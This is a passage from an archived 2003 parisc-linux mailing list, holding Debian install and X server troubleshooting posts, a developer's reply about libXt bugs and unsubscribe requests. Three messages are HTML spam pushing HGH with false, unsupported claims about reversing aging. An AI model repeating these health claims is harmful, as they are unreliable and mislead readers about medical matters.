NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:02 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: franklin@msn.com  Thu Dec 11 03:44:14 2003
Return-Path: <franklin@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ool-4350044a.dyn.optonline.net (ool-4350044a.dyn.optonline.net
	[67.80.4.74])
	by dsl2.external.hp.com (Postfix) with SMTP id 7F8FE4854
	for <parisc-linux@parisc-linux.org>;
	Thu, 11 Dec 2003 03:44:13 -0700 (MST)
Original-Received: from [113.62.226.198] by ool-4350044a.dyn.optonline.net;
	Thu, 11 Dec 2003 06:38:55 -0400
X-Mailer: Microsoft Outlook, Build 10.0.2627
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Dec 2003 10:44:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20357


--BE.E._6E..__72.5
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Sexy. leading men tricks to get any girl ra dfryux
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
mwgvs 
m 
</body>
</html>
dnykabycsialqxpsqorvbmxbtjj enxwnxcij
vxhnzfoq gvun wszcwcoymau

--BE.E._6E..__72.5--



From - Thu Nov 08 21:30:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Don Goodson" <coltrane@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Be.. strong and youthful, feel incredible!! oiof
Date: Thu, 11 Dec 03 20:36:53 GMT
Lines: 44
Approved: news@gmane.org
Message-ID: <9a61-b1uzd-jer144@7ioagsqu5sd4db>
Reply-To: Don Goodson <coltrane@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="358D9_D_8_EE6_"
X-Trace: ger.gmane.org 1416623042 3265 80.91.229.3 (22 Nov 2014 02:24:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:02 +0000 (UTC)
Cc: pmccabe@parisc-linux.org, parisc-linux@parisc-linux.org
To: grundler@parisc-linux.org
Original-X-From: coltrane@msn.com  Thu Dec 11 05:45:06 2003
Return-Path: <coltrane@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1E2714854; Thu, 11 Dec 2003 05:45:06 -0700 (MST)
Original-Received: from c-67-165-114-201.client.comcast.net
	(c-67-165-114-201.client.comcast.net [67.165.114.201])
	by cuprel1.hp.com (Postfix) with SMTP
	id 044CBD38; Thu, 11 Dec 2003 04:45:05 -0800 (PST)
Original-Received: from [121.234.35.141] by c-67-165-114-201.client.comcast.net id
	<0669399-95001>; Thu, 11 Dec 2003 20:36:53 -0600
X-Mailer: The Bat! (v1.52f) Business
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Dec 2003 12:45:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20358


--358D9_D_8_EE6_
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Be.. strong and youthful, feel incredible!! oiof
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
onfo kzdjih w
frbn ahoifvsmzyfrj
h hbee  hmjrek
</body>
</html>
dkfoylygod  puxd

--358D9_D_8_EE6_--



From - Thu Nov 08 21:30:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sonny Langston" <franklin@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sexy. movie stars tricks how to get that special
	someone!! ykvmkc
Date: Thu, 11 Dec 03 16:56:40 GMT
Lines: 43
Approved: news@gmane.org
Message-ID: <8x0a2g$94c$$bc79z0@g4mf.m.nh55>
Reply-To: Sonny Langston <franklin@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="BF_97CFD62DC6.AB4C_CA."
X-Trace: ger.gmane.org 1416623043 3270 80.91.229.3 (22 Nov 2014 02:24:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: franklin@msn.com  Thu Dec 11 06:57:59 2003
Return-Path: <franklin@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CB654854
	for <parisc-linux@parisc-linux.org>;
	Thu, 11 Dec 2003 06:57:59 -0700 (MST)
Original-Received: from ool-4350044a.dyn.optonline.net (ool-4350044a.dyn.optonline.net
	[67.80.4.74]) by cuprel1.hp.com (Postfix) with SMTP id 6D853FD5
	for <parisc-linux@parisc-linux.org>;
	Thu, 11 Dec 2003 05:57:58 -0800 (PST)
Original-Received: from [58.43.83.69] by ool-4350044a.dyn.optonline.net with ESMTP id
	<906750-70695>; Thu, 11 Dec 2003 16:56:40 +0300
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Dec 2003 13:57:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20359


--BF_97CFD62DC6.AB4C_CA.
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Sexy. movie stars tricks how to get that special someone!! ykvmkc 
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF00FF" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#FFFFFF" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FFFFFF" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
vmd dwqqmymuyske o
llrp iphu pperftz widcrjdprdhqhw
</body>
</html>
csdv

--BF_97CFD62DC6.AB4C_CA.--



From - Thu Nov 08 21:30:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Achim.Stolze@t-online.de (Achim Stolze)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C180 - cannot get KDE nor Gnome get running
Date: Thu, 11 Dec 2003 19:29:11 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <3FD8B777.2060105@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623043 3272 80.91.229.3 (22 Nov 2014 02:24:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: Achim.Stolze@t-online.de  Thu Dec 11 11:36:43 2003
Return-Path: <Achim.Stolze@t-online.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com
	[194.25.134.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B5204854
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Dec 2003 11:36:43 -0700 (MST)
Original-Received: from fwd05.aul.t-online.de by mailout04.sul.t-online.com with smtp 
	id 1AUVg2-0002nf-04; Thu, 11 Dec 2003 19:36:42 +0100
Original-Received: from t-online.de
	(VTo6m2ZJ8eFUfFRFjtk4sEA2TVcmXkcYyU5kSE0gQlUASkb3+C5Jkk@[217.82.68.224])
	by fwd05.sul.t-online.com
	with esmtp id 1AUVfr-0pHtZ20; Thu, 11 Dec 2003 19:36:31 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624
X-Accept-Language: en-us, en
X-Seen: false
X-ID: VTo6m2ZJ8eFUfFRFjtk4sEA2TVcmXkcYyU5kSE0gQlUASkb3+C5Jkk
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Dec 2003 18:36:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20360

Hello all!
Woody is now running on my C180. But I cannot get KDE or Gnome started.
I tried to configure XFree before starting XServer, but the command 
startx causes the error message 
"... XIO: fatal IO error 232 (connection reset by peer) on X Server ":0.0" after 0 requests ... with 0 events 
remaining."
 
I am not sure which graphics driver I should use ...

How can I get KDE running?
 
Best regards,
 
Achim.




From - Thu Nov 08 21:30:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian Barber" <brianbarber@myrealbox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installation on a 712/80
Date: Thu, 11 Dec 2003 13:45:43 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <1071168343.9d26b700brianbarber@myrealbox.com>
Reply-To: brianbarber@linux.ca
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623043 3276 80.91.229.3 (22 Nov 2014 02:24:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: brianbarber@myrealbox.com  Thu Dec 11 11:45:42 2003
Return-Path: <brianbarber@myrealbox.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-send.myrealbox.com (smtp-send.myrealbox.com
	[192.108.102.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36D8A4854
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Dec 2003 11:45:42 -0700 (MST)
Original-Received: from brianbarber [198.103.249.251] by myrealbox.com
	with NetMail ModWeb Module; Thu, 11 Dec 2003 13:45:43 -0500
X-Mailer: NetMail ModWeb Module
X-Sender: brianbarber
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Dec 2003 18:45:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20361

I just picked up one of these systems yesterday, and I'm interested in how =
other folks who own this model went about installing Woody.  As I don't h=
ave a CDROM, I would like to know these folks' experiences with floppy or=
 net installations.  I have read the documentation and know how to procee=
d; I would like a little guidance as to what it the best method.  For the=
 sake of information, I have another machine that is running TFTP and can=
 serve up the CDs via NFS.

Cheers,
BB
--
Brian Barber, Principal Consultant
Integrity Computing (www.integritycomputing.tk)


From - Thu Nov 08 21:30:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 - cannot get KDE nor Gnome get running
Date: 11 Dec 2003 13:48:14 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <1071168495.1779.25.camel@mulgrave>
References: <3FD8B777.2060105@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623044 3278 80.91.229.3 (22 Nov 2014 02:24:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:04 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Achim Stolze <Achim.Stolze@t-online.de>
Original-X-From: James.Bottomley@SteelEye.com  Thu Dec 11 11:48:37 2003
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43DE74854
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Dec 2003 11:48:36 -0700 (MST)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com
	[172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	hBBImWa15161; Thu, 11 Dec 2003 13:48:33 -0500
In-Reply-To: <3FD8B777.2060105@t-online.de>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Dec 2003 18:48:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20362

On Thu, 2003-12-11 at 13:29, Achim Stolze wrote:
> Hello all!
> Woody is now running on my C180. But I cannot get KDE or Gnome started.
> I tried to configure XFree before starting XServer, but the command 
> startx causes the error message 
> "... XIO: fatal IO error 232 (connection reset by peer) on X Server ":0.0" after 0 requests ... with 0 events 
> remaining."
>  
> I am not sure which graphics driver I should use ...
> 
> How can I get KDE running?

There were a number of compiler caused bugs in libXt that prevent it
from executing.

I can get gnome (and presumably kde) running happily on my B180, but
only if I use the debian testing release, which does have the fixed Xt
library.

The Xserver you should be using is the framebuffer one (and it *must* be
configured to match the STI framebuffer settings as output by the kernel
on boot up exactly).

James




From - Thu Nov 08 21:30:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Hunter <ch234_120@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Please unsubsricbe me
Date: Thu, 11 Dec 2003 10:52:17 -0800 (PST)
Lines: 8
Approved: news@gmane.org
Message-ID: <20031211185217.19572.qmail@web60306.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623044 3280 80.91.229.3 (22 Nov 2014 02:24:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: ch234_120@yahoo.com  Thu Dec 11 11:52:21 2003
Return-Path: <ch234_120@yahoo.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web60306.mail.yahoo.com (web60306.mail.yahoo.com
	[216.109.118.117])
	by dsl2.external.hp.com (Postfix) with SMTP id EF9C04854
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Dec 2003 11:52:20 -0700 (MST)
Original-Received: from [205.188.208.103] by web60306.mail.yahoo.com via HTTP;
	Thu, 11 Dec 2003 10:52:17 PST
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Dec 2003 18:52:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20363

 
 

__________________________________
Do you Yahoo!?
Protect your identity with Yahoo! Mail AddressGuard
http://antispam.yahoo.com/whatsnewfree


From - Thu Nov 08 21:30:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Oljeg Pajkic <oljeg.pajkic@rogers.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] subscription
Date: Thu, 11 Dec 2003 20:15:48 -0500
Lines: 4
Approved: news@gmane.org
Message-ID: <3FD916C4.2070900@rogers.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623044 3282 80.91.229.3 (22 Nov 2014 02:24:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: oljeg.pajkic@rogers.com  Thu Dec 11 18:16:29 2003
Return-Path: <oljeg.pajkic@rogers.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com
	(fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C7FF4854
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Dec 2003 18:16:29 -0700 (MST)
Original-Received: from rogers.com ([24.156.52.161])
	by fep04-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20031212011427.PCJW317816.fep04-mail.bloor.is.net.cable.rogers.com@rogers.com>
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Dec 2003 20:14:27 -0500
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.4) Gecko/20030624 Netscape/7.1 (ax; PROMO)
X-Accept-Language: en-us, en
X-Authentication-Info: Submitted using SMTP AUTH PLAIN at
	fep04-mail.bloor.is.net.cable.rogers.com from [24.156.52.161]
	using ID <oljeg.pajkic@rogers.com> at Thu,
	11 Dec 2003 20:14:25 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 12 Dec 2003 01:16:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20364

Please unsubscribe me!




From - Thu Nov 08 21:30:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 - cannot get KDE nor Gnome get running
Date: Thu, 11 Dec 2003 23:48:34 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20031212064834.GB16243@colo.lackof.org>
References: <3FD8B777.2060105@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623045 3286 80.91.229.3 (22 Nov 2014 02:24:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Achim Stolze <Achim.Stolze@t-online.de>
Original-X-From: grundler@lackof.org  Thu Dec 11 23:48:35 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4FA84854
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Dec 2003 23:48:35 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 2D2F029804E; Thu, 11 Dec 2003 23:48:35 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 15890-08; Thu, 11 Dec 2003 23:48:34 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 487F329804D; Thu, 11 Dec 2003 23:48:34 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FD8B777.2060105@t-online.de>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 12 Dec 2003 06:48:36 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20365

On Thu, Dec 11, 2003 at 07:29:11PM +0100, Achim Stolze wrote:
> Hello all!
> Woody is now running on my C180. But I cannot get KDE or Gnome started.
> I tried to configure XFree before starting XServer, but the command 
> startx causes the error message 
